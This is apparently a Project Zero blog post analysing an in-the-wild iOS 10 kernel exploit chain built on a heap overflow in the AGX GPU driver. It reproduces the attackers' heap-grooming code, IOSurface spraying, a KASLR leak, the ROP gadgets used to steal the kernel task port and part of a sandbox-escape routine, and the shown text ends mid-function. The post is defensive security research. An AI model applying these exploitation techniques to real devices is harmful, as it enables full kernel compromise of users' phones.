Thursday, August 29, 2019

In-the-wild iOS Exploit Chain 1

Posted by Ian Beer, Project Zero

TL;DR

This exploit provides evidence that these exploit chains were likely written contemporaneously with their supported iOS versions; that is, the exploit techniques which were used suggest that this exploit was written around the time of iOS 10. This suggests that this group had a capability against a fully patched iPhone for at least two years.  

This is one of the three chains (of five chains total) which exploit only one kernel vulnerability that was directly reachable from the Safari sandbox.

In-the-wild iOS Exploit Chain 1 - AGXAllocationList2::initWithSharedResourceList heap overflow

We'll look first at the earliest chain we found. This targets iOS 10.0.1-10.1.1 and has probably been active since September 2016.

targets: 5s through 7, 10.0.1 through 10.1.1

supported version matrix:
iPhone6,1 (5s, N51AP)
iPhone6,2 (5s, N53AP)
iPhone7,1 (6 plus, N56AP)
iPhone7,2 (6, N61AP)
iPhone8,1 (6s, N71AP)
iPhone8,2 (6s plus, N66AP)
iPhone8,4 (SE, N69AP)
iPhone9,1 (7, D10AP)
iPhone9,2 (7 plus, D11AP)
iPhone9,3 (7, D101AP)
iPhone9,4 (7 plus, D111AP)

version support is slightly different between platforms:
iPhone 6,*;7,*;8,*:
14A403 (10.0.1 - 13 Sep 2016) this is the first public version of iOS 10
14A456 (10.0.2 - 23 Sep 2016)
14B72 (10.1 - 24 Oct 2016)
14B100 (10.1.1 - 31 Oct 2016) 
14B150 (10.1.1 - 9 Nov 2016)

iPhone 9,*:
14A403 (10.0.1 - 13 Sep 2016)
14A456 (10.0.2 - 23 Sep 2016)
14A551 (10.0.3 - 17 Oct 2016) : NOTE: this version was iPhone 7 only; "cellular connectivity problem)
14B72c (10.1 - 24 Oct 2016)
14B100 (10.1.1 - 31 Oct 2016) 
14B150 (10.1.1 - 9 Nov 2016)

First unsupported version: 10.2 - 12 December 2016

The first kernel vulnerability

The first kernel vulnerability is a heap overflow in the function AGXAllocationList2::initWithSharedResourceList, part of the com.Apple.AGX kext, a driver for the embedded GPU in the iPhone. The vulnerability is reachable from the WebContent sandbox, there is no separate sandbox escape vulnerability.

AGXAllocationList2::initWithSharedResourceList is a C++ virtual member method which takes two arguments, a pointer to an IOAccelShared2 object and a pointer to an IOAccelSegmentResourceListHeader object. That resource list header pointer points to memory which is shared with userspace and the contents are fully attacker-controlled. The bug lies in the code which parses that resource list structure. The structure looks like this:


layout of the structure in shared memory showing the header structure containing the number of sub-descriptor entries then the repeating sub-descriptors. The sub-descriptors contain resource-id and flags fields, and the final 16 bit value is a count of the number of entries in this sub-descriptor.



There's an 0x18 byte header structure, the last dword of which is a count of the number of following sub-descriptor structures. Each of those sub-descriptor structures is 0x40 bytes, with the last two bytes being a uint16_t count of sub-entries contained in the sub-descriptor.

The sub-descriptor contains two arrays, one of dword resource-id values, and one of two-byte flags. They are meant to be seen as pairs, with the first flag matching up with the first resource id.

The driver reads the n_entries value from shared memory and multiplies it by 6 to determine what it believes should be the maximum total number of sub-resources across all the sub-descriptors:

n_entries = *(_DWORD *)(shmem_ptr + 0x14);
n_max_subdescriptors = 6 * n_entries;

This value is then multiplied by 8, as for each subresource_id they'll store a pointer:


resources_buf = IOMalloc(8 * n_max_subdescriptors);

The code then continues on to parse the sub-descriptors:


n_entries = *(_DWORD *)(shmem_ptr + 0x14);
...
void* resource = NULL;
size_t total_resources = 0;
input = (struct input*)shmem_ptr;
struct sub_desc* desc = &input->descs[0];
for (i = 0; i < n_entries; i++) {
  for (int j = 0; j < desc->n_sub_entries; j+) {
    
    int err = IOAccelShared2::lookupResource(ioaccel_shared,
                                             desc->resource_ids[j],
                                             &resource);
    if (err) {
      goto fail;
    }

    unsigned short flags = desc->flags[j];

    if (flags_invalid(flags)) {
      goto fail;
    }
    resources_buf[total_resources++] = resource;
  }
...
}

The issue is that the code never validates the assumption that each sub-descriptor has at-most 6 sub-entries; there's actually space in the structure for 7 completely controlled resource_id and flag pairs. The code assumes that resources_buf was allocated for the worst case of 6 entries per sub-descriptor, so there are no bounds checks when the loop writes to resources_buf.


Since n_entries is completely controlled, the attacker can control the size passed to IOMalloc. They can also control the number of sub-descriptors which contain 7 rather than 6 entries, allowing them to write a controlled number of pointers off the end of the target IOMalloc allocation. Those will be pointers to IOAccelResource2 objects.

Note that the second fetch of n_entries from shared memory isn't a decompiler error; it's really there in the binary:

fetch 1:
com.apple.AGX:__text:FFFFFFF006B54800 LDR  W8, [X19,#0x14]
...
fetch 2:
com.apple.AGX:__text:FFFFFFF006B548B4 LDR  W8, [X19,#0x14]

This is not the bug which was exploited; in fact this variant wasn't fixed until iOS 12. See the code in Appendix A for the trigger for this variant. Note that this would have meant that with only minor changes the exploit would have continued to work for years after the initial patch. The variant overflows the same buffer with the same values.

start

All the exploits start by calling task_threads() then thread_terminate() in a loop to stop all other running threads in the WebContent task where the attackers get initial remote code execution.

This first chain uses the system loader to resolve symbols but they chose to not link against the IOSurface framework which they use, so they call dlopen() to get a handle to the IOSurface.dylib userspace library and resolve two function pointers (IOSurfaceCreate and IOSurfaceGetID) via dlsym(). These will be used later.

System Identification

They read the hw.machine sysctl variable to get the device model name (which is a string like "iPhone6,1") and read the ProductBuildVersion value from the CFDictionary returned by  CFCopySystemVersionDictionary() to get the OS build ID. From this combination they can determine exactly which kernel image is running on the device.

They format this information into a string like "iPhone6,1(14A403)" (which would be for iOS 10.0.1 running on iPhone 5S.) From the __DATA segment of the exploit binary they read a serialized NSDictionary (via [NSKeyedUnarchiver unarchiveObjectWithData:].) The dictionary maps the supported hardware and kernel image pairs to structures containing pointers and offsets used later in the exploit.

{
    "iPhone6,1(14A403)" = <a8a20700 00000000 40f60700 00000000 50885000 00000000 80a05a00 00000000 0c3c0900 00000000 c41f0800 00000000 28415a00 00000000 98085300 00000000 60f56000 00000000 005a4600 00000000 50554400 00000000 a4b73a00 00000000 00001000 00000000 50a05a00 00000000 b8a05a00 00000000 68e4fdff ffffffff>;
    "iPhone6,1(14A456)" = <a8a20700 00000000 40f60700 00000000 50885000 00000000 80a05a00 00000000 0c3c0900 00000000 c41f0800 00000000 28415a00 00000000 98085300 00000000 60f56000 00000000 005a4600 00000000 50554400 00000000 a4b73a00 00000000 00001000 00000000 50a05a00 00000000 b8a05a00 00000000 68e4fdff ffffffff>;
....}

They read the hw.memsize sysctl to determine whether the device has more than 1GB of RAM. Devices with 1GB of RAM (5s, 6, 6 plus) use a 4kB physical page size, whereas those with more than 1GB of RAM use 16kB physical pages. This difference is important because the kernel zone allocator has slightly different behaviour when physical page sizes are different. We'll look more closely at these differences when they become relevant.

Exploitation

They open an IOSurfaceRootUserClient:

matching_dict = IOServiceMatching("IOSurfaceRoot");
ioservice = IOServiceGetMatchingService(kIOMasterPortDefault, matching_dict);
IOServiceOpen(ioservice,
              mach_task_self(),
              0, // the userclient type
              &userclient);

IOSurfaces are intended to be used as buffers for graphics operations, but none of the exploits use this intended functionality. Instead they use one other very convenient feature: the ability to associate arbitrary kernel OSObjects with an IOSurface for heap grooming.

The documentation for IOSurfaceSetValue nicely explains its functionality:

This call lets you attach CF property list types to an IOSurface buffer. This call is expensive (it must essentially serialize the data into the kernel) and thus should be avoided whenever possible.

Those Core Foundation property list objects will be serialized in userspace then the kernel will deserialize them into their corresponding OSObject types and attach them to the IOSurface:

CFDictionary -> OSDictionary
CFSet        -> OSSet
CFNumber     -> OSNumber
CFBoolean    -> OSBoolean
CFString     -> OSString
CFData       -> OSData

The last two types are of particular interest as they're variable-sized. By serializing different length CFString and CFData objects as IOSurface properties you can exercise quite a lot of control over the kernel heap. Even more importantly, these properties can be read back in a non-destructive way via IOSurfaceCopyValue, making them an excellent target for building memory disclosure primitives from memory corruption vulnerabilities. We'll see both these techniques used multiple times across the exploit chains.

What is IOKit?

IOKit is the framework used in iOS for building device drivers. It's written in C++ and drivers can make use of object-oriented features, such as inheritance, to aid the rapid development of new code.

An IOKit driver which wishes to communicate with userspace in some way consists of two major parts: an IOService and an IOUserClient (often just called a user client.)

IOServices can be thought of as providing the functionality of the driver.

The IOUserClient is the interface between the IOService and userspace clients of the driver. There can be a large number of IOUserClients per IOService, but typically there's only one (or a small number) of IOServices per hardware device.

The reality is of course more complex, but this simplified view suffices to understand the relevance of the attack surfaces.

A very simplified hierarchical view of IOKit, showing the hardware layer, then IOService objects and IOUserClients in the kernel and user client mach port send rights in userspace.

Talking to IOKit

Userspace communicates with IOUserClient objects via external methods. These can be thought of as syscalls exposed by the IOUserClient objects to userspace, callable by any process which has a send right to the mach port representing the IOUserClient object. External methods are numbered and can take variable sized input arguments. We'll look in great detail at exactly how this works when it becomes necessary for future exploits in the series.

Let's get back to the first exploit chain and see how they get started:

Setting up the trigger

They open an AGXSharedUserClient:

matching_dict = IOServiceMatching("IOGraphicsAccelerator2");
agx_service = IOServiceGetMatchingService(kIOMasterPortDefault, matching_dict)
AGXSharedUserClient = 0;
IOServiceOpen(agx_service,
              mach_task_self(),
              2, // type -> AGXSharedUserClient
              &AGXSharedUserClient)

In IOKit parlance matching is the process of finding the correct device driver for a purpose; in this case they're using the matching system to open a user client connection to a particular driver.

The call to IOServiceOpen will invoke a sandbox policy check. Here's the relevant section from the com.apple.WebKit.WebContent.sb sandbox profile on iOS which allows access to this IOKit device driver from inside the MobileSafari renderer process:

(allow iokit-open
       (iokit-user-client-class "IOSurfaceRootUserClient")
       (iokit-user-client-class "IOSurfaceSendRight")
       (iokit-user-client-class "IOHIDEventServiceFastPathUserClient")
       (iokit-user-client-class "AppleKeyStoreUserClient")
       (require-any (iokit-user-client-class "IOAccelDevice")
                    (iokit-user-client-class "IOAccelDevice2")
                    (iokit-user-client-class "IOAccelSharedUserClient")
                    (iokit-user-client-class "IOAccelSharedUserClient2")
                    (iokit-user-client-class "IOAccelSubmitter2")
                    (iokit-user-client-class "IOAccelContext")
                    (iokit-user-client-class "IOAccelContext2"))
       (iokit-user-client-class "IOSurfaceAcceleratorClient")
       (extension "com.apple.security.exception.iokit-user-client-class")
       (iokit-user-client-class "AppleJPEGDriverUserClient")
       (iokit-user-client-class "IOHIDLibUserClient")
       (iokit-user-client-class "IOMobileFramebufferUserClient"))

AGXSharedUserClient, though not explicitly mentioned in the profile, is allowed because it inherits from IOAccelSharedUserClient2. This human-readable version of the sandbox profile was generated by the sandblaster tool from an iOS 11 kernelcache.

I mentioned earlier that the bug is triggered by the kernel reading a structure from shared memory; the next step in the exploit is to use the AGX driver's external method interface to allocate two shared memory regions, using external method 6 (create_shmem) of the AGXSharedUserClient:

create_shmem_result_size = 0x10LL;
u64 scalar_in = 4096LL; // scalar in = size
v42 = IOConnectCallMethod(
        AGXSharedUserClient,
        6,          // selector number for create_shmem external method
        &scalar_in, // scalar input, value is shm size
        1,          // number of scalar inputs
        0,
        0,
        0,
        0,
        &create_shmem_result,       // structure output pointer
        &create_shmem_result_size); // structure output size pointer

IOConnectCallMethod is the main (though not the sole) way to call external methods on userclients. The first argument is the mach port name which represents this userclient connection. The second is the external method number (called the selector.) The remaining arguments are the inputs and outputs.

This method returns a 16-byte structure output which looks like this:

struct create_shmem_out {
  void* base;
  u32 size;
  u32 id;
};

base is the address in the task where the driver mapped the shared memory, size is the size and id a value used to refer to this resource later.

They allocate two of these shared memory regions; the first is left empty and the second will contain the trigger allocation list structure.

They also create a new IOAccelResource with ID 3 via the AGXSharedUserClient external method 3 (IOAccelSharedUserClient::new_resource.)

Heap groom

The loop containing the trigger function is very curious; right before triggering the bug they create around 100 threads. For me when I was first trying to determine the root-cause of the bug they were exploiting this pointed towards one of two things:

  1. They were exploiting a race condition bug.
  2. They were trying to remove noise from the heap, by busy looping many threads and preventing other processes from using the kernel heap.

Here's the outer loop which is creating the threads:

for (int i = 0; i < constant_0x10_or_0x13 + 1; i++) {
  for ( j = 0; j < v6 - 1; ++j ){
    pthread_create(&pthread_t_array[iter_cnt],
                   NULL,
                   thread_func,
                   &domain_socket_fds[2 * iter_cnt]);
    while (!domain_socket_fds[2 * iter_cnt] ) {;};
    n_running_threads = ++iter_cnt;
     usleep(10);
  }
  send_kalloc_reserver_message(global_mach_port[i + 50],
                               target_heap_object_size,
                               1);
}

Here's the function passed to pthread_create, it's pretty clear that neither of those hypotheses were even close to accurate:
void* thread_func(void* arg) {
  int sockets[2] = {0};  

  global_running_threads++;
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
    return NULL;
  }

  char buf[256];
  struct msghdr_x hdrs[1024] = {0};
  
  struct iovec iov;
  iov.iov_base = buf;
  iov.iov_len = 256;

  for (int i = 0; i < constant_value_from_offsets/0x20; i++) {
    hdrs[i].msg_iov = &iov;
    hdrs[i].msg_iovlen = 1;
  }
  
  *(int*)arg = sockets[0];
  *((int*)arg + 1) = sockets[1];

  recvmsg_x(sockets[0], hdrs, constant_value_from_offsets/0x20, 0);

  return NULL;
}

This is pretty clearly not a trigger for a shared-memory bug. They're also very unlikely to be using this to busy-loop a cpu core, the recvmsg_x syscall will block until there's data to be read and yield the CPU back to the scheduler.

The only hint to what's going on is that the number of loop iterations is set by a value read from the offsets data structure they parsed from the NSArchiver. This indicates that perhaps this is something like a novel heap-grooming technique. Let's look at the code for recvmsg_x and try to work out what's going on.

recvmsg_x heap groom

The prototype for the recvmsg_x syscall is:

user_ssize_t recvmsg_x(int s, struct msghdr_x *msgp, u_int cnt, int flags);

The msgp argument is a pointer to an array of msghdr_x structures:


struct msghdr_x {
  user_addr_t msg_name;       /* optional address */
  socklen_t   msg_namelen;    /* size of address */
  user_addr_t msg_iov;        /* scatter/gather array */
  int         msg_iovlen;     /* # elements in msg_iov */
  user_addr_t msg_control;    /* ancillary data, see below */
  socklen_t   msg_controllen; /* ancillary data buffer len */
  int         msg_flags;     /* flags on received message */
  size_t      msg_datalen;    /* byte length of buffer in msg_iov */
};

The cnt argument is the number of these structures contained in the array. In the exploit the msg_iov is set to always point to the same single-entry iovec which points to a 256-byte stack buffer, and msg_iovlen is set to 1 (the number of iovec entries.)

The recvmsg_x syscall is implemented in bsd/kern/uipc_syscalls.c. It will initially make three variable-sized kernel heap allocations:

user_msg_x = _MALLOC(uap->cnt * sizeof(struct user_msghdr_x),
                     M_TEMP, M_WAITOK | M_ZERO);
...
recv_msg_array = alloc_recv_msg_array(uap->cnt);
...
umsgp = _MALLOC(uap->cnt * size_of_msghdr,
                M_TEMP, M_WAITOK | M_ZERO);

The msgp userspace buffer is then copied in to the user_msg_x buffer:


error = copyin(uap->msgp, umsgp, uap->cnt * size_of_msghdr);

sizeof(struct user_msghdr_x) is 0x38, and size_of_msghdr is also 0x38. alloc_recv_msg_array is just a simple wrapper around _MALLOC which multiplies count by sizeof(struct recv_msg_elem):


struct recv_msg_elem *
alloc_recv_msg_array(u_int count)
{
  struct recv_msg_elem *recv_msg_array;

  recv_msg_array = _MALLOC(count * sizeof(struct recv_msg_elem),
                           M_TEMP, M_WAITOK | M_ZERO);

  return (recv_msg_array);
}

sizeof(struct recv_msg_elem) is 0x20. Recall that the grooming thread function passed a constant divided by 0x20 as the cnt argument to the recvmsg_x syscall; it's quite likely therefore that this is the allocation which is being targeted. So what's in here?

It's allocating an array of struct recv_msg_elems:

struct recv_msg_elem {
  struct uio *uio;
  struct sockaddr *psa;
  struct mbuf *controlp;
  int which;
  int flags;
};

This array is going to be filled in by internalize_recv_msghdr_array:


error = internalize_recv_msghdr_array(umsgp,
  IS_64BIT_PROCESS(p) ? UIO_USERSPACE64 : UIO_USERSPACE32,
  UIO_READ, uap->cnt, user_msg_x, recv_msg_array);

This function allocates and initializes a kernel uio structure for each of the iovec arrays contained in the input array of msghdr_x's:


recv_msg_elem->uio = uio_create(user_msg->msg_iovlen, 0,
    spacetype, direction);

error = copyin_user_iovec_array(user_msg->msg_iov,
spacetype, user_msg->msg_iovlen, iovp);

uio_create allocates space for the uio structure and the iovector base and length pointers inline:


uio_t uio_create(int a_iovcount,     /* number of iovecs */
                 off_t a_offset,     /* current offset */
                 int a_spacetype,    /* type of address space */
                 int a_iodirection ) /* read or write flag */
{
  void*  my_buf_p;
  size_t my_size;
  uio_t  my_uio;
  my_size = UIO_SIZEOF(a_iovcount);
  my_buf_p = kalloc(my_size);
  my_uio = uio_createwithbuffer(a_iovcount, 
                                a_offset,
                                a_spacetype,
                                a_iodirection,
                                my_buf_p,
                                my_size );

  if (my_uio != 0) {
    /* leave a note that we allocated this uio_t */
    my_uio->uio_flags |= UIO_FLAGS_WE_ALLOCED;
  }
  return( my_uio );
}

here's UIO_SIZEOF:


#define UIO_SIZEOF( a_iovcount ) \
  ( sizeof(struct uio) + (MAX(sizeof(struct user_iovec), sizeof(struct kern_iovec)) * (a_iovcount)) )

struct uio looks like this:


struct uio {
  union iovecs uio_iovs;    /* current iovec */
  int uio_iovcnt;           /* active iovecs */
  off_t uio_offset;
  enum uio_seg uio_segflg;
  enum uio_rw uio_rw;
  user_size_t uio_resid_64;
  int uio_size;             /* size for use with kfree */
  int uio_max_iovs;         /* max number of iovecs this uio_t can hold */
  u_int32_t uio_flags;
};

There's a lot going on here, let's look at this diagramatically:


A heap layout diagram showing a repeated pattern of 4kb recv_msg_elem array allocations interspersed with out-of-line descriptor allocations. One of the recv_msg_elem entries is broken out to show that the first field (at the start of that 4kb allocation) is a pointer to a uio object, which itself contains a size and flags field.


On 4k devices they spin up 7 threads, which will make 7 of the recv_msg_elem array allocations, then they send a kalloc_reserver message which will make one more target kalloc allocation which can be free'd independently. 

Heap grooming technique 2: out-of-line memory in mach messages

As you can see from the diagram above, the recv_msg_elem allocations are interspersed with 4kb kalloc allocations. They make these allocations via crafted mach messages. Here's the function which builds and sends these messages:

struct kalloc_reserver_message {
  mach_msg_base_t msg;
  mach_msg_ool_descriptor_t desc[62];
};

int
send_kalloc_reserver_message(mach_port_t dst_port,
                             int kalloc_size,
                             int n_kallocs)
{
  struct kalloc_reserver_message msg = {0};
  char buf[0x800] = {0};

  msg.header.msgh_bits =
    MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND,
                       0,
                       0,
                       MACH_MSGH_BITS_COMPLEX);

  msg.header.msgh_remote_port = dst_port;
  msg.header.msgh_size = sizeof(mach_msg_base_t) +
                         (n_kallocs * sizeof(mach_msg_ool_descriptor_t));
  msg->body.msgh_descriptor_count = n_kallocs;

  for (int i = 0; i < n_kallocs; i++) {
    msg.descs[i].address = buf;
    msg.descs[i].size    = kalloc_size - 24;
    msg.descs[i].type    = MACH_MSG_OOL_DESCRIPTOR;
  }

  err = mach_msg(&msg.header,
                 MACH_SEND_MSG,
                 msg.header.msgh_size,
                 0, 
                 0,
                 0,
                 0);

  return (err == KERN_SUCCESS);
}

A mach message may contain "out-of-line data". This is intended to be used to send larger data buffers in a mach message while allowing the kernel to potentially use virtual memory optimisations to avoid copying the contents of the memory. (See my recent P0 blog post on finding and exploiting vulnerabilities in those tricks for more details.)

Out-of-line memory regions are specified in a mach message using the following descriptor structure in the kernel-processed region of the message:

typedef struct {
  void*                      address;
  boolean_t                  deallocate: 8;
  mach_msg_copy_options_t    copy: 8;
  unsigned int               pad1: 8;
  mach_msg_descriptor_type_t type: 8;
  mach_msg_size_t            size;
} mach_msg_ool_descriptor_t;

address points to the base of the buffer to be sent in the message and size is the length of the buffer in bytes. If the size value is small (less than two physical pages) then the kernel will not attempt to perform any virtual memory trickery but instead simply allocate an equally sized kernel buffer via kalloc and copy the contents of the region to be sent into there.

The kernel buffer for the copy has the following 24-byte header at the start:

struct vm_map_copy {
  int type;
  vm_object_offset_t offset;
  vm_map_size_t size;
  union {
    struct vm_map_header hdr;      /* ENTRY_LIST */
    vm_object_t          object; /* OBJECT */
    uint8_t              kdata[0]; /* KERNEL_BUFFER */
  } c_u;
};

That's the reason the size field in the descriptor has 24 subtracted from it. This technique is used frequently throughout the exploit chains to make controlled-size kalloc allocations (with almost completely controlled data.) By destroying the port to which the reserver message was sent without receiving the message they can cause the kalloc allocations to be free'd.

They repeat the recv_msg_elem/kalloc_reserver layout a few times, trying to improve the odds that one of the kalloc_reservers lies just before a recv_msg_elem array allocation. On 16k devices they start 15 threads at a time, then send one kalloc_reserver message. This makes sense as 16 target allocation sized objects would fit within one target-size'd kalloc chunk on 16k devices.

They then free all the kalloc_reservers (by destroying the ports to which the message were sent) in the opposite order that they were allocated, and then reallocate half of them. The idea here is to try to ensure that the next kalloc allocation to be allocated from the target kalloc.4096 zone will fall in one of the gaps in-between the recv_msg_arrays:


The same heap groom diagram as earlier, this time showing that the memory previously occupied by the out-of-line descriptors is now free, leaving gaps in-between the recv_msg_elem arrays.





Once the groom is set up and the holes in the heap are likely in the right place they trigger the bug.

The trigger shared resource list is set up such that it will make a 4kb kalloc allocation (hopefully landing in one of the gaps) then the bug will cause an IOAccelResource pointer to be written one element off the end of that buffer, corrupting the first qword value of the following recv_msg_elem array:


the same heap grooming diagram as before, now showing one of the gaps having been filled by the resource buffer allocation. The attacker overflows out of this buffer, overwriting the first qword value in the following recv_msg_elem array, which was a pointer to a uio. That pointer is now replaced by a pointer to an IOAccelResource.


If the heap groom worked this will have corrupted one of the uio pointers, overwriting it with a pointer to an IOAccelResource.

They then call external method 1 on the AGXSharedUserClient (delete_resource) which will free the IOAccelResource. This means that one of those uio pointers now points to a free'd IOAccelResource

Then they use the IOSurface properties technique to allocate many 0x190 byte OSData objects in the kernel with the following layout:

u32 +0x28 = 0x190;
u32 +0x30 = 2;

Here's the code where they build that:


  char buf[0x190];
  char key[100];

  memset(buf, 0, 0x190uLL);
  *(uint32_t*)&buf[0x28] = 0x190;
  *(uint32_t*)&buf[0x30] = 2;
  id arr = [[NSMutableArray alloc] initWithCapacity: 100];
  id data = [NSData dataWithBytes:buf length:100];
  int cnt = 2 * (system_page_size / 0x200);
  for (int = 0; i < cnt; i++) {
    [arr addObject: data];
  }

  memset(key, 0, 100;);
  sprintf(key, 0, 100, "large_%d", replacement_attempt_cnt);

  return wrap_iosurfaceroot_set_value(key, val);

They are trying to reallocate the free'd memory with an OSData object. Overlaying those offsets against a struct uio you see that +0x28 is the uio_size field, and +0x30 the flags field. 2 is the following UIO flag value:


#define UIO_FLAGS_WE_ALLOCED 0x00000002

So they've replaced the dangling UIO with... a completely valid, if empty, UIO?

They're now in a situation where there are two pointers to the same allocation; both of which they can manipulate:


Diagram showing that the corrupted uio pointer now points to an OSData backing buffer which is also pointed to by an IOSurface property named something like "large_1". The contents which the attacker put in the OSData object match up with the uio_size and uio_flags fields of a struct uio.

They then loop through each of the threads which are blocked on the recvmsg_x call and close both ends of the socketpair. This will cause the destruction of all the uios in the recv_msg_elems arrays. If this particular thread was the one which allocated the recv_msg_elems array which got corrupted by the heap overflow, then closing these sockets will cause the uio to be freed. Remember that they've now reallocated this memory to be the backing buffer for an OSData object. Here's uio_free:

void uio_free(uio_t a_uio) 
{
  if (a_uio != NULL && (a_uio->uio_flags & UIO_FLAGS_WE_ALLOCED) != 0) {
    kfree(a_uio, a_uio->uio_size);
  }
}

This fake uio allocation is pointed to by two pointers at this point; the uio and the OSData. By freeing the uio, they're leaving the OSData object with a dangling backing buffer pointer. It seems that the use of the threads and domain sockets was just a way of creating a heap allocation which had another heap allocation as the first pointer; the freeing of which they could control. It's certainly a novel technique but seems very fragile.

Immediately after freeing the uio (leaving the OSData object with the dangling pointer) they allocate 2 pages worth of IOSurfaceRootUserClients; hoping that one of them will overlap with the OSData backing buffer (the IOSurfaceRootUserClient will also be allocated from the same kalloc.512 zone.) They then read the contents of all the OSData objects (via IOSurfaceCopyProperty as mentioned earlier) and search for the 32-bit value 0x00020002, which is an OSObject reference count. If it's found then the replacement worked and they now have the contents of the IOSurfaceRootUserClient object inside the OSData backing buffer:


Diagram showing that the memory containing the IOSurfaceRootUserClient is pointed to by both the ipc_port's ip_kobject pointer and an IOSurfaceRootUserClient property (as an OSData object backing buffer pointer.) This enables the attacker to read the contents of the IOSurfaceRootUserClientObject.

They read the vtable pointer from the IOSurfaceRootUserClient object which they use to determine the KASLR slide by subtracting the unslide value of the vtable pointer (which they get from the offsets dictionary object.)

They read two fields from the IOSurfaceRootUserClient:

+0xf0 = a pointer to their task struct, set in IOSurfaceRootUserClient::init
+0x118 = pointer to this+0x110; they subtract 0x110 to get the address of the userclient

They make a complete copy of the IOSurfaceRootUserClient and modify two fields. They set the reference count to 0x80008 and they set the pointer at offset +0xe0 to point exactly 0xBC bytes below the kernel_task pointer in the kernel data segment.

The kernel task port

In XNU the kernel is just another task, so like all other tasks it has a task port. A task port is mach port which, if you have a send right to it, allows complete control over the task. Back in iOS 10 before 10.3, there were no mitigations against using the kernel task port from userspace which made it a very attractive target for exploitation. If you could corrupt memory such that you gained a send right to this port, you got arbitrary kernel memory read and write, by design.

That's what they're going to try to do now.

They free the OSData replacer, and try to reallocate it again (using the key "huge") with the modified IOSurfaceRootUserClient inside more OSData objects.

They then loop through the IOSurfaceRootUserClient connection ports calling external method 13 (get_limits.)

Here's the relevant assembly from the implementation of get_limits. At this point the X0 register is the IOSurfaceRootUserClient, and X2 is an IOExternalMethodArguments*, which contains the arguments to the external method:

LDR     X8, [X2,#0x58] ; struct output buffer
LDR     X9, [X0,#0xE0] ; should be IOSurfaceRoot, now arbitrary
LDUR    X10, [X9,#0xBC]; controlled read at address val+0xBC
STR     X10, [X8]      ; write that value to struct output buffer
...
RET

Since the attackers have replaced the field at +0xE0 with a pointer to 0xBC bytes below the kernel_task pointer in the kernel data segment, the first 8 bytes of the structure output buffer when get_limits is called on the modified user client will contain the address of the kernel task struct!

They verify that those eight bytes do indeed look like a kernel pointer; then prepare for the final replacement. This time they replace 10 fields in the IOSurfaceRootUserClient:

OSData_kaddr is the kernel virtual address of the fake user client object (and the OSData object it's actually inside.)

userclient_copy[0x120] = OSData_kaddr + 0x1F8;
userclient_copy[0x128] = 1;
userclient_copy[0x1F8] = OSData_kaddr + 0x1B0;
userclient_copy[0x1F0] = OSData_kaddr + 0x1A0;
userclient_copy[0x1A0] = OSData_kaddr;
userclient_copy[0x1E8] = kernel_runtime_base + offsets_9;
userclient_copy[0xA8] = kernel_runtime_base + offsets_10;
userclient_copy[0x1E0] = kernel_task + 0x90;
userclient_copy[0x1B8] = our_task_t + 0x2C0;
userclient_copy[0x1C0] = kernel_runtime_base + offsets_11;

offsets 9, 10 and 11 are read from the deserialized NSArchiver.

They use the iosurface property replacement trick for the last time; this time using the key "again". They then call external method 16 (get_surface_use_count) on the dangling IOSurfaceRooUserClient connection.

What's happening here? Let's follow execution flow from the start of the external method itself. At this point X0 will point to their modified IOSurfaceRootUserClient object seen above:

IOSurfaceRootUserClient::get_surface_use_count:
STP   X22, X21, [SP,#-0x10+var_20]!
STP   X20, X19, [SP,#0x20+var_10]
STP   X29, X30, [SP,#0x20+var_s0]
ADD   X29, SP, #0x20
MOV   X20, X2
MOV   X22, X1
MOV   X19, X0
MOV   W21, #0xE00002C2
LDR   X0, [X19,#0xD8]
BL    j__lck_mtx_lock_11
LDR   W8, [X19,#0x128]         ; they set to 1
CMP   W8, W22                  ; w22 == 0?
B.LS  loc_FFFFFFF0064BFD94     ; not taken
LDR   X8, [X19,#0x120]         ; x8 := &this+0x1f8
LDR   X0, [X8,W22,UXTW#3]      ; x0 := &this+0x1b0
CBZ   X0, loc_FFFFFFF0064BFD94 ; not taken
BL    sub_FFFFFFF0064BA758

Execution continues here:


sub_FFFFFFF0064BA758
LDR   X0, [X0,#0x40]           ; X0 := *this+0x1f0 = &this+0x1a0
LDR   X8, [X0]                 ; X8 := this
LDR   X1, [X8,#0x1E8]          ; X1 := kernel_base + offsets_9
BR    X1                   ; jump to offsets_9 gadget

They'll get arbitrary kernel PC control initially at offsets_9; which is the following gadget:


LDR   X2, [X8,#0xA8]           ; X2 := kernel_base + offsets_10
LDR   X1, [X0,#0x40]           ; X1 := *(this+0x1e0)
                               ; The value at that address is a pointer
                               ; to 0x58 bytes below the kernel task port
                               ; pointer inside the kernel task structure
BR    X2                   ; jump to offsets_10 gadget

This loads a new, controlled value in to X1 then jumps to offsets_10 gadget:
This is OSSerializer::serialize:

MOV   X8, X1             ; address of pointer to kernel_task_port-0x58
LDP   X1, X3, [X0,#0x18] ; X1 := *(this+0x1b8) == &task->itk_seatbelt
                         ; X3 := *(this+0x1c0) == kbase + offsets_11
LDR   X9, [X0,#0x10]     ; ignored
MOV   X0, X9
MOV   X2, X8             ; address of pointer to kernel_task_port-0x58
BR    X3             ; jump to offsets_11 gadget

offsets_11 is then a pointer to this gadget:


LDR   X8, [X8,#0x58] ; X8:= kernel_task_port
                     ; that's an arbitrary read
MOV   W0, #0
STR   X8, [X1]       ; task->itk_seatbelt := kernel_task_port
                     ; that's the arbitrary write
RET                  ; all done!

This gadget reads the value at the address stored in X8 plus 0x58, and writes that to the address stored in X1. The previous gadgets gave complete control of those two registers, meaning this gadget is giving them the ability to read a value from an arbitrary address and then write that value to an arbitrary address. The address they chose to read from is a pointer to the kernel task port, and the address they chose to write to points into the current task's special ports array. This read and write has the effect of giving the current task the ability to get a send right to the real kernel task port by calling:


  task_get_special_port(mach_task_self(), TASK_SEATBELT_PORT, &tfp0);

That's exactly what they do next, and that tfp0 mach port is a send right to the real kernel task port, allowing arbitrary kernel memory read/write via task port MIG methods like mach_vm_read and mach_vm_write.

What to do with a kernel task port?

They use the allprocs offset to get the head of the linked list of running processes then iterate through the list looking for two processes by PID:

void PE1_unsandbox() {
  char struct_proc[512] = {0};

  if (offset_allproc)
  {
    uint64_t launchd_ucred = 0;
    uint64_t our_struct_proc = 0;

    uint64_t allproc = kernel_runtime_base + offset_allproc;
    uint64_t proc = kread64(allproc);

    do {
      kread_overwrite(proc, struct_proc, 0x48);

      uint32_t pid = *(uint32_t*)(struct_proc + 0x10);

      if (pid == 1) { // launchd has pid 1
        launchd_ucred = *(_QWORD *)&struct_proc[0x100];
      }

      if ( getpid() == pid ) {
        our_struct_proc = proc;
      }

